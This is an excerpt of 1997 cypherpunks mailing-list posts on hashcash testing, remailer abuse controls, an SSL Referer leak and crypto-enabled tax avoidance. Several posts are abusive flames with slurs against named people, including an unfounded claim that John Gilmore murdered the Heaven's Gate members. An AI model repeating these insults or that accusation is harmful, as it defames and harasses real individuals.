> I think the future of computing is much more likely to lie in
> returning to simple but powerfull ideas. Presentation types,
> parallel languages and genuine process oriented object systems
> interest me much more.

	The future of Computing is more dazzling chrome to capture the 
slack jawed, glaze eyed masses.






From das at razor.engr.sgi.com  Fri Mar 28 18:24:56 1997
From: das at razor.engr.sgi.com (Anil Das)
Date: Fri, 28 Mar 1997 18:24:56 -0800 (PST)
Subject: [ANNOUNCE] hash cash postage implementation
In-Reply-To: <199703281652.QAA03299@server.test.net>
Message-ID: <9703281824.ZM5275@razor.engr.sgi.com>


Adam,

	How does Dr. Bernstein's announcement of finding
a 56 bit collision in md5 using a few hours on a Pentium
affect this scheme? It was not clear from his post whether
he was looking for a collision with a known hash, or just
two different strings with a collision of the given length.

On Mar 28,  4:52pm, Adam Back wrote:
>
> (Also I have not tested my SHA1 implementation on a big endian machine, it
> auto-detects byte endian-ness, theoretically).

	Works fine here. Big endian Mips R10K.

% ./sha1test
test 1

SHA1("abc") =
        a9993e364706816aba3e25717850c26c9cd0d89d test ok

test 2

SHA1("abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq") =
        84983e441c3bd26ebaae4aa1f95129e5e54670f1 test ok

test 3

SHA1("a" x 1,000,000) =
        34aa973cd4c4daa4f61eeb2bdbad27316534016f test ok

% ./hashcash -t -22
speed: 70921 hashes per sec
find: 22 bit partial sha1 collision
estimate: 30 seconds

--
Anil Das





From bubba at dev.null  Fri Mar 28 18:51:29 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Fri, 28 Mar 1997 18:51:29 -0800 (PST)
Subject: WebWorld 20
Message-ID: <333C83D3.304@dev.null>

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From winsock at rigel.cyberpass.net  Fri Mar 28 19:03:16 1997
From: winsock at rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 28 Mar 1997 19:03:16 -0800 (PST)
Subject: Hello
Message-ID: <199703290303.TAA13947@sirius.infonex.com>



Hi, anyone know if the Cyphernomicon is still available?


--Chipjunkie








































































































































































































































































































--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."










From stewarts at ix.netcom.com  Fri Mar 28 19:11:27 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 28 Mar 1997 19:11:27 -0800 (PST)
Subject: Dilbert on Smartcards
Message-ID: <3.0.1.32.19970328191025.0068db88@popd.ix.netcom.com>


The March 21 Dilbert is on 
	http://www.unitedmedia.com/comics/dilbert/
Friday; to see it later, look in
	http://www.unitedmedia.com/comics/dilbert/archive/

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From dlv at bwalk.dm.com  Fri Mar 28 19:25:40 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 19:25:40 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703281917.TAA03495@server.test.net>
Message-ID: <DVVa5D47w165w@bwalk.dm.com>


Adam Back <aba at dcs.ex.ac.uk> writes:

> > X sends 1000 copies of child porn/seditious libel to 100 people
> > believed not to be using remailers right now.  The remailer keeps
> > the 100 e-mails onits hard disk and e-mails each receipient a ping,
> > inviting them to agree to the disclaimer terms and to retrieve their
> > anonymous e-mail.  The first recipient to retrieve the e-mail gets
> > upset and contacts the feds.  The feds figure, the remailer still
> > has the 99 other e-mails and the information on who's supposed to
> > receive them in its queue; why not seize it and take a look.
>
> Here's a partial solution to that: in the ping email informing the
> recipient there is mail waiting, you include a key, encrypt the
> message body that you are retaining data with the key and then discard
> the key.  Give a deadline: "your message will be deleted in 5 days".
> They re-supply the key when they request the message.  You immediately
> decrypt and send it back to them, discarding all knowledge of them
> (email, encrypted message, encryption key).

That's a good idea, but it'll take up a lot of disk space at the
machine running the remailer.  Right now, remailers that provide
latency don't keep an e-mail for more than about 12 hours. Once
you start keeping them around for a few days (a reasonable grace
period for a first-time user), it's a lot more disk space.

> One snag is that you still have addresses for recipients on your
> machine so they can go harass people and ask them for the keys to the
> as yet uncollected messages.
>
> Refinement to solution (I like this one), get rid of the intended
> recipients address immediately after sending the ping, just keep the
> encrypted body of the message.  Include in the ping something which
> reliably selects a message (say first encrypted line, SHA1 hash of
> encrypted message, whatever, to save you having to try to decrypt all
> of your messages).

That's a good refinement, but it's still not enough, IMO.
Suppose a LEA wants to search the computer hosting the remailer.
They come across a bunch of encrypted files.
The operator has to convince the LEA that they don't have the means
to decrypt the e-mails or even to figure out who they're from.
That just may be close to contempt of court. Say, you might be
asked to explain how you generate the "random" keys so they
can be recreated.

IMO, the 'net has changed from what it used to be a few years ago.
One can no longer send e-mail to an unknown recipient and hope that
they're willing to accept anonymous e-mail. I'm not 100% sure what
needs to be done, but I firmly believe that in today's climate
unless the remailer knows that the recipient took some positive
action to indicate that s/he has a clue (such as, added a key to a
keyserver), their anon mail should be immediately discarded and
they should instead get a note:

Someone tried to send you anonymous e-mail; because we don't
know whether you want to receive anon e-mail, it's been discarded
and can't be recovered; anon e-mail can be bad; disclaimer
dislciamer disclaimer; and here's what you need to do to
receive future e-mail if you want it.

> > [keyserver with I-accept-anon-email bit consulted by remailer, no
> > key in remailer => instant trash of message and ping message
> > explaining how to accept anon email]
>
> This sounds a lot like the distributed block and accept list idea
> which has been discussed a bit.

Yes - nothing really new.

> I like your treatment of the remailed material as a `hot potato',
> instantly pass it on or burn it.

Yes - 5 days worth of anon mail, even if it's encrypted and the
recipient is stripped, is an attractive target for LEA's looking
for child porn and the like.

> > Right now, there's a very large number of addresses in the key servers.
> > Instantly making them into a list of addresses that accept anon mail
> > will make it hard (hopefully infeasible) for the LEAs to investigate
> > everyone willing to accept anon e-mail as a suspect in sending it.
>
> The per remailer block list system kind of does this at the moment,
> only the list of people initially marked down as willing to accept
> anon email is the world.
>
> Everyone can recieve email, but people get blocked when they complain.

Unfortunately this model is based on assumptions that are no longer
true.  I've been on the 'net since the early 80s.  I used to
prozelityze(sp?) everyone I knew that the 'net is a great tool
and that  we all should use it. Well, now the 'net is full of
assholes and you can no longer assume that just because someone
has access to the 'net, they have a clue.

However I think it's a safe assumption that someone who put their
key in a key server has enough of a clue to be able to handle
an anon e-mail; and if they don't, they should be able to turn
it off easily.

> Incidentally, it has occurred to me for a while now that the reverse
> problem also exists: if I suspect you (Dimitri) use remailers, I can
> forge a message from you to all the remailer operators requesting that
> I (ie you) be blocked.  I can include some exceedingly dire legal
> threats to the remailer operator, and dig up some vile messages from
> some dark corner of usenet which I falsely claim came through that
> operators remailer.  As the remailer operator doesn't keep logs he
> won't be able to recognize the falsehood of the accusation.
>
> To solve this problem you need to do a ping message, "please reply
> with this nonce to be blocked".

Yes, that's a possibility. E-mail from has has been forged in the
past, as Igor can attest. :-) Again, the 'net has changed. As some
folks are aware, I run 3 mailing lists at another site. 2 are near-dead,
but one has been up since '89 and is pretty active. Recently I had
to institute the policy of confirming subscriptions because of the
several forged subscription requests.  Such things were unthinkable
even 4 or 5 years ago.

A key server presumably has some mechanisms for checking that someone
who wants to store or update a key for a at b appears to be a at b.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Fri Mar 28 19:50:21 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 19:50:21 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703281941.LAA00237@crypt.hfinney.com>
Message-ID: <Jqya5D49w165w@bwalk.dm.com>


[I'm not advocating anything concrete; I'm just thinkout out loud]

Hal Finney <hal at rain.org> writes:

> dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> > With the present scheme, if a remailer is "raided", it has precious little
> > interesting stuff on it at any one time. Now consider the scenario:
> >
> > X sends 1000 copies of child porn/seditious libel to 100 people believed no
> > to be using remailers right now.  The remailer keeps the 100 e-mails onits
> > hard disk and e-mails each receipient a ping, inviting them to agree to the
> > disclaimer terms and to retrieve their anonymous e-mail.  The first recipie
> > to retrieve the e-mail gets upset and contacts the feds.  The feds figure,
> > remailer still has the 99 other e-mails and the information on who's suppos
> > to receive them in its queue; why not seize it and take a look.
>
> This is a potential problem, but there are some other considerations.
[valid points snipped]

I'm sorry, my scenario was superfluous. Even with ordinary remailer traffic,
if you institute the policy that a first-time recipient gets a ping and his
e-mail is kept at the remailer until he decides that he wants to accept
qnonymous e-mail - there will be quite a bit of such letters at the
remailer, making it a more attractive target for search+seizure.

(Even if they're all encrypted and sans recipients, there's just more
interesting stuff for the fuzz to look at than there is now.)

That's why I feel that it's time to change the remailer model and to
discard e-mail addressed to recipients not known to be willing to
receive anonymous e-mail. Instead, send them a form letter explaining
how they can get future anon e-mail if they want to.

BTW: the remailer doesn't need to know whether the recipient is the
end recipient or another remailer. We can safely assume that every
remailer has a key on some key server.

> More generally, I think we need to keep in mind what a remailer does and
> what it doesn't do.  The essential function of the remailer is to provide
> anonymity via mixing messages.  It does not provide confidentiality of
> message contents.  That has to be taken care of by encryption.  And,
> as I wrote yesterday, it doesn't (can't) keep secret who the people are
> who send and receive anonymous mail.  All it can do is to disguise which
> particular people send and receive to each other.

I agree, but: I'm not ecven talking about making traffic analysis harder
or easier. Rather, I don't want to add a new vulnerability by keeping
around a relatively short list of people willing to receive anonymous
e-mail.

> The same is true of a DC-net or a perfect Chaumian mixnet.  These systems
> do not disguise their particpants, or protect the confidentiality of their
> message contents; they only hide the knowledge of who is talking to whom.

Well - it's bad that someone can monitor the outgoing e-mail from a given
remailer and learn who actually gets it; it's worse if the attacker can
see this remailer's list of _potential recipients (some of whom might not
be getting any mail during the monitoring period).

> > There's a big distributed database of pgp keys on the several keyservers.
> > Add a bit to the database specifying whether the key owner wants to receive
> > anonymous e-mail.  By default set it to true for the existing addresses.
>
> (The "default true" is going to allow the same kinds of abuse which we
> have seen in the past.  Some remailers may be able to tolerate this, but
> as we have seen, many can't.)

I'm not sure about this point, so I'm not necessarily arguing. However
I expect that the vast majority of people with enough clue to get their
key into a key server are likely to be more enlightened than the
average user today. I definitely feel that someone without enough
clue to do that should NOT be forwarded any e-mail.

If this idea of using key servers for dest blocking is indeed adopted,
then we could first try "default true" and if the problems we have now
persist, then make it "default false" and require a positive action
by the recipient.

The problem with a separate positive action is that there will be an
initial period when the pool of users who choose to receive anon
e-mail is small (under 100). Some LEA investigating an internet-
related crime just might decide it's worth his while to pay a close
attention to these people (regular police work :-). I'd rather
start with a pool of enabled destination so large that it's not
feasible to investigate each one for just being in the pool.

> > When the final remailer in the chain wants to send someone an anonymous
> > message, it attempts to retrieve a key from the keyservers.
> >
> > If it fails to find a key, it junks the mail (you don't want to keep it
> > around, it's baiting the LEAs!) and instead sends a notification to the
> > recipient that some anon e-mail was addressed to it, but it was junked;
> > and if they want to receive anon e-mail, they need to give a pgp key
> > to one of the key servers this remailer uses.
>
> This is what I like.  It's a lot simpler than trying to keep a copy of
> the anonymous mail and deliver it later when the person asks for it.
> Just let him know that someone is trying to reach him anonymously, and
> let him enable that if he wants to be able to receive the next anonymous
> message that comes in for him.  You can load his permission message down
> with all kinds of disclaimers that say he knows he's likely to receive
> obscene, threatening and illegal material, that he doesn't mind, that
> he knows the remailer is an automated system which doesn't look at the
> contents, etc.  Not only does this give you a defense but it makes the
> person think about what he's getting into, so he will in fact be better
> prepared when something bad comes his way.

Yes!

Plus, someone with enough clue to make a key is hopefully less likely
to be a total twit.

> Plus, having taken positive action to enable receiving anonymous mail, he
> will hopefully be more knowledgable about how to request that you stop,
> and it won't be such a big deal.  He opens the pipe, and if he gets a
> face full of sewage, he closes up the pipe right away.  You warned him.
>
> > If it finds a key, it looks at the anon mail bit; if it's on, it encrypts
> > the e-mail with the recipient's key and sends it; otherwise it junks it.
> >
> > Obviously, the key servers would need to be modified to allow users to
> > specify whether they want anon e-mail when then store their keys, and
> > to change this setting any time.
>
> Key servers wouldn't be the only place to store this information.  I think
> the remailer could keep its own list, especially if it were defaulting
> to "off".  This way recipients wouldn't have to generate and submit PGP
> keys, which is more work than just sending a reply to a remailer giving
> the OK to receive anonymous mail.

I think that the side effect of encouraging people who haven't generated
and submitted PGP keys to do so (and requiring them to use PGP to
read the mail once it comes in) is a desirable side effect.

I also think that the maintenance of dest blocking needs to be
removed as far as possible from the remailer operations.

Remailers are subjected to high turnover. Do new operators really
collect dest blocks from the existing ones? Does a user sending
a single blocking request to one of the mailing list get blocked
from all existing remailers? Could some paranoid LEA subpoena
dest blocks from all the existing remailers hoping to learn
something by comparing them? If I were running a remailer,
I'd prefer to rely on someone else, someone centralized, to
process destination blocking requests (and to authenticate
them - as Adam pointed out, the fact that we now don't
authenticate dest blocking requests is bad, very bad).

> > Right now, there's a very large number of addresses in the key servers.
> > Instantly making them into a list of addresses that accept anon mail
> > will make it hard (hopefully infeasible) for the LEAs to investigate
> > everyone willing to accept anon e-mail as a suspect in sending it.
>
> More cautious or politically vulnerable remailers might default in the
> other direction.  It would be a matter of the individual situation.

Hmm. Just thinking out loud. Suppose Alice and Bob both run remailers.
Alice has "default true" and Bob has "default false". (Either is
much more cautious than the present setup, of course.) Someone sends
e-mail to Carol with Alice's remailer as the final one. Carol had
previously given her key to some key server known to Alice's remailer,
so she gets the e-mail. Next, someone sends e-mail to Carol via
Bob's remailer, who discards the e-mail and tells Carol: "I see
your key, but I don't see your positive action to get e-mail."
If I were Carol, I'd be somewhat pissed that my mail was lost.
But of course it's up to Bob...

Problem is, if the key servers actually allow 3 values in that
field: explicit true, explicit false, default; then again for some
time the list of people with explicit true will be small enough
to investigate just for this reason. To protect recipients'
privacy, I'd rather set anon mail to true for all existing keys.

To do what I've described requires 1) a change to the remailers,
2) a change to the key servers.

Are there any people who run key servers on this list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From stewarts at ix.netcom.com  Fri Mar 28 19:57:43 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 28 Mar 1997 19:57:43 -0800 (PST)
Subject: SSL weakness affecting links from pages with GET forms
Message-ID: <3.0.1.32.19970328195526.0066f3a0@popd.ix.netcom.com>


http://www.zdnet.com:80/intweek/daily/970327x.html
has an article about an SSL problem that affects both Netscape
and MicrosoftIE browsers, leaking "secure" data such as
credit card numbers from web pages with GET-based SSL forms on it.
It was discovered by Dan Klein.

There isn't specific detail about how the flaw works,
but it says that it affects GET forms but not POST.
Commentary from NS, MS, Gene Spafford, and Steve Bellovin.

   "It's like you've gone to the restaurant with your lover," Klein said. 
   "The restaurant is there, it's private, yet when you leave the restaurant 
   you have the menu in your hand and there's food all over your shirt." 



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From dlv at bwalk.dm.com  Fri Mar 28 20:10:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 20:10:32 -0800 (PST)
Subject: Higher Sources and PGP
In-Reply-To: <3.0.1.32.19970328215907.02b36f1c@panix.com>
Message-ID: <5R8a5D54w165w@bwalk.dm.com>


Duncan Frissell <frissell at panix.com> writes:

> >From the Higher Sources website.  They were offering security services
> including PGP training.  Can Aliens factor large numbers?

So, the 39 kibologists didn't commit suicide!!!

> http://www7.concentric.net/~Font/pro/main.htm#1
>
> Higher Source's Internet World Wide Web
>                             services include:
...
>                            PGP, Privacy and
>                            Security Training
...
They were murdered by Cocksucker John Gilmore!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From stewarts at ix.netcom.com  Fri Mar 28 20:21:57 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 28 Mar 1997 20:21:57 -0800 (PST)
Subject: Cyphernomicon?
In-Reply-To: <199703290303.TAA13947@sirius.infonex.com>
Message-ID: <3.0.1.32.19970328195952.00689a70@popd.ix.netcom.com>


At 10:01 PM 3/28/97 EST, Chipjunkie @ WinSock Remailer wrote:
>Hi, anyone know if the Cyphernomicon is still available?

AltaVista knows.

http://www.chem.leeds.ac.uk/ICAMS/people/jon/cyphernomicon/cp_faq.html


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From real at freenet.edmonton.ab.ca  Fri Mar 28 21:41:32 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 28 Mar 1997 21:41:32 -0800 (PST)
Subject: Accounts payable
In-Reply-To: <199703281915.LAA23315@mailmasher.com>
Message-ID: <Pine.A41.3.95.970328223646.4714A-100000@freenet.edmonton.ab.ca>


On Fri, 28 Mar 1997, Huge Cajones Remailer wrote:

And you Vulis are endless embarassment to your self.

> Tim C[reep] May has been a source of endless 
> embarassments to his sympathizers on and off the net.
> 
>     o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
>    /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[reep] May
>    / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From markm at voicenet.com  Fri Mar 28 21:43:04 1997
From: markm at voicenet.com (Mark M.)
Date: Fri, 28 Mar 1997 21:43:04 -0800 (PST)
Subject: SSL weakness affecting links from pages with GET forms
In-Reply-To: <3.0.1.32.19970328195526.0066f3a0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970329003609.3732A-100000@purple.voicenet.com>


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 28 Mar 1997, Bill Stewart wrote:

> http://www.zdnet.com:80/intweek/daily/970327x.html
> has an article about an SSL problem that affects both Netscape
> and MicrosoftIE browsers, leaking "secure" data such as
> credit card numbers from web pages with GET-based SSL forms on it.
> It was discovered by Dan Klein.
> 
> There isn't specific detail about how the flaw works,
> but it says that it affects GET forms but not POST.
> Commentary from NS, MS, Gene Spafford, and Steve Bellovin.
> 
>    "It's like you've gone to the restaurant with your lover," Klein said. 
>    "The restaurant is there, it's private, yet when you leave the restaurant 
>    you have the menu in your hand and there's food all over your shirt."

I would guess that this means that Netscape and Explorer send the complete
URL of the page that linked to another site in the "HTTP-REFERER" header in
the clear when SSL is used.  The only temporary solution is to use a local web
proxy that removes this header, or, as the article suggests, manually type in
an URL that is linked from a page using SSL.  I can't think of too many
situations where one might follow a link to another site immediately after
sending sensitive information, but the contents of the "HTTP-REFERER" header
are often logged, and the log is often world-readable...

> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzytJyzIPc7jvyFpAQE3gAf/frvfAWg44mEeg2AyhxlFKBmmh3yWEtmq
l8np9nTMz20/PHcF2uzDHrpSEcAY2WPcvEvu+57QGelU0H2LoH2qGFNeVisPQURE
9F5gUZvFeyubL9UVLlUoxVIMCumLM+y31zqVaMb8GwwGnHWNcHc1rqnUhchYamiJ
BbU04U3xaF5b5/mMBzKTU/tfTajeIDsAl0dhk0rzvXAMN2n26idoWic39ZzhHnsE
QOOfi4oI8XK4cMbjOKbwnSR7Xbt78800vilyp+mvkfgp/bR6ygougYzYz1s9dNY3
HgGpnuxDzFoHnqlIQ7in3N+QXXzSNh8TiVfU6w3PjoRk3RNZHX+DTQ==
=QOto
-----END PGP SIGNATURE-----






From real at freenet.edmonton.ab.ca  Fri Mar 28 21:44:18 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 28 Mar 1997 21:44:18 -0800 (PST)
Subject: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <eeca5D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970328224017.4714B-100000@freenet.edmonton.ab.ca>


> 
> Hettiga's tongue is still firmly implanted up Cocksucker John Gilmore's ass.


Vulis time for your pills

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From real at freenet.edmonton.ab.ca  Fri Mar 28 21:48:52 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 28 Mar 1997 21:48:52 -0800 (PST)
Subject: Higher Sources and PGP
In-Reply-To: <5R8a5D54w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970328224507.4714C-100000@freenet.edmonton.ab.ca>


On Fri, 28 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Duncan Frissell <frissell at panix.com> writes:
> 
> > >From the Higher Sources website.  They were offering security services
> > including PGP training.  Can Aliens factor large numbers?
> 
> So, the 39 kibologists didn't commit suicide!!!
> 
> > http://www7.concentric.net/~Font/pro/main.htm#1
> >
> > Higher Source's Internet World Wide Web
> >                             services include:
> ...
> >                            PGP, Privacy and
> >                            Security Training
> ...
> They were murdered by Cocksucker John Gilmore!!!

Vulis it is late you must take your pills.


> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From sergey at el.net  Fri Mar 28 21:49:32 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Fri, 28 Mar 1997 21:49:32 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <TH804D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970329004311.157C-100000@void.el.net>


On Fri, 28 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

-> I just came up with another idea which definitely has some holes in it,
-> but perhaps someone wants to improve on it.
-> 
-> There's a big distributed database of pgp keys on the several keyservers.
-> Add a bit to the database specifying whether the key owner wants to receive
-> anonymous e-mail.  By default set it to true for the existing addresses.
-> 
-> When the final remailer in the chain wants to send someone an anonymous
-> message, it attempts to retrieve a key from the keyservers.
-> 
-> If it fails to find a key, it junks the mail (you don't want to keep it
-> around, it's baiting the LEAs!) and instead sends a notification to the
-> recipient that some anon e-mail was addressed to it, but it was junked;
-> and if they want to receive anon e-mail, they need to give a pgp key
-> to one of the key servers this remailer uses.
-> 
-> If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
-> the e-mail with the recipient's key and sends it; otherwise it junks it.
-> 
-> Obviously, the key servers would need to be modified to allow users to
-> specify whether they want anon e-mail when then store their keys, and
-> to change this setting any time.
-> 
-> Right now, there's a very large number of addresses in the key servers.
-> Instantly making them into a list of addresses that accept anon mail
-> will make it hard (hopefully infeasible) for the LEAs to investigate
-> everyone willing to accept anon e-mail as a suspect in sending it.

Unfortunately, key servers can not be trusted.  I'm sure you're aware that
anyone can submit a key, and thus forgeries abound.

If the above model is adopted, key servers will be the first target of
the prospective spammer.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From otoole at LCS.MIT.EDU  Fri Mar 28 22:15:46 1997
From: otoole at LCS.MIT.EDU (James O'Toole)
Date: Fri, 28 Mar 1997 22:15:46 -0800 (PST)
Subject: Hard to Tax Scenario
Message-ID: <01BC3BDE.8901B420@slip-james.lcs.mit.edu>



I think that the mythical "Doctor Ann" operating in this supposedly hard to tax scenario,
may have operating costs that are higher than non-anonymous doctors, and when these
operating costs approach her taxation costs, this "hard to tax" scenario becomes
uneconomic.  Because the operating costs will be roughly linear as a function of Ann's
gross, whereas the taxes are roughly linear as a function of Ann's net, Ann will discover
that it is cheaper to operate non-anonymously once her volume of business is sufficient.

This is one of the reasons that black-market (non-reporting) organizations generally aren't
common at large scale.  There are plenty of other reasons: higher cost of capital, difficulty
of proving disputes, etc.  Crypto (and other anonymizing technology) may lower Ann's
operating costs, but for any large organization, the %-of-gross will dominate the %-of-net
fee that the tax authority charges for operating on the white market.

However, Ann has another alternative, which large organizations will also have.  Ann can
operate completely non-anonymously, but bleed profits out of her business through the use
of anonymized business partners who exist solely to assist Ann in hiding her profits.  Crypto
might make this scheme more foolproof for Ann, by enabling her to anonymously own and
operate a network of covert subsidiaries that she does business with openly, and which collect
most of her profits, but which themselves are for some reason not vulnerable to the tax
authority.

Traditionally, multi-national businesses do this using transfer pricing and offshore subsidiaries,
and their battle with the tax authority has several features:
	taxes based on GROSS for transactions crossing borders that inhibit tracking
		(customs duties, higher withholding taxes for more anonymous trading partners, etc.)
	legal requirements for consolidated reporting, with rewards paid to informers who expose
		conspiracies
	shifting the burden of proof to Ann in cases of suspected self-trading with transfer pricing.
		(this means that if Ann can't prove who her anonymized trading partner is, and it
		 therefore could be a covert subsidiary of herself, then she automatically loses)

The gross-basis taxation is the most likely cost-effective tool that tax authorities could use to
combat crypto-based tax evasion, in my opinion.

I'd like to see the cypherpunks-quality analysis of how crypto/ecash would help the anonymous
Doctor Ann function in a society whose tax system was more like Europe's VAT system.

----------
Date: Mon, 16 Dec 1996 16:47:14 -0800
From: Hal Finney <hal at rain.org>
To: cypherpunks at toad.com
Subject: Hard to Tax Scenario
Cc: hanson at hss.caltech.edu
Sender: owner-cypherpunks at toad.com
Precedence: bulk

Robin Hanson, inventor of the Idea Futures prediction market, is a very
creative and thoughtful writer who has posted to this list occasionally.
He says he sent the message below to the CP list over the weekend, but
I didn't see it.  I am including it (in bits and pieces) in its entirety
for the benefit of others who may also have missed it.

Robin Hanson, <hanson at hss.caltech.edu>, writes:

> Hi.  The volume here is too high for me to subscribe regularly, but I
> subscribed recently so I could ask the following question:
>
>   How well thought out is the notion that widespread crypto could
>   allow a large fraction (>30%?) of the economy to avoid taxation?
>
> I've heard this speculation many times, and just saw it in print in,
> in David Friedman's article in the summer '96 issue of Social
> Philosophy and Policy.  But I have trouble imagining how it could
> work.

For those who don't know, by the way, David Friedman is the son of
Nobel prize winning economist Milton Friedman.  Both father and son
have libertarian leanings, and David in particular has tackled some
of the hardest problems which would be faced by an anarchic society.

> Imagine Ann is a doctor who wants to ply her trade without taxation.
> Patients go a local high res medical net booth, which Ann runs from
> long distance using several real time digital mixes.  To do this, Ann
> spends most of each day in her expensive home VR room.

So we are imagining a future scenario in which medicine is commonly if
not universally practiced via these remote means?  Or do we have two
classes of doctor, the anonymous virtual ones and the identified ones
that you go and see in person?  I ask because at least some of the
difficulties Ann faces seem due to her virtual practice.

> Patients pay Ann in untraceable cash, which she uses to pay for
> groceries and other net services.  Her cover story about why she
> spends so much time in her home VR room, and how she pays for
> groceries, is that she is a receptionist for some sham company.

The need for a cover story raises the question of from whom Ann has
to keep her secrets.  In a society where (we will stipulate) 30% avoid
taxation, the moral significance of not paying taxes will be different
than it is today.  We had some interesting posts in an earlier discussion
on this list describing the situation in Italy, where apparently tax
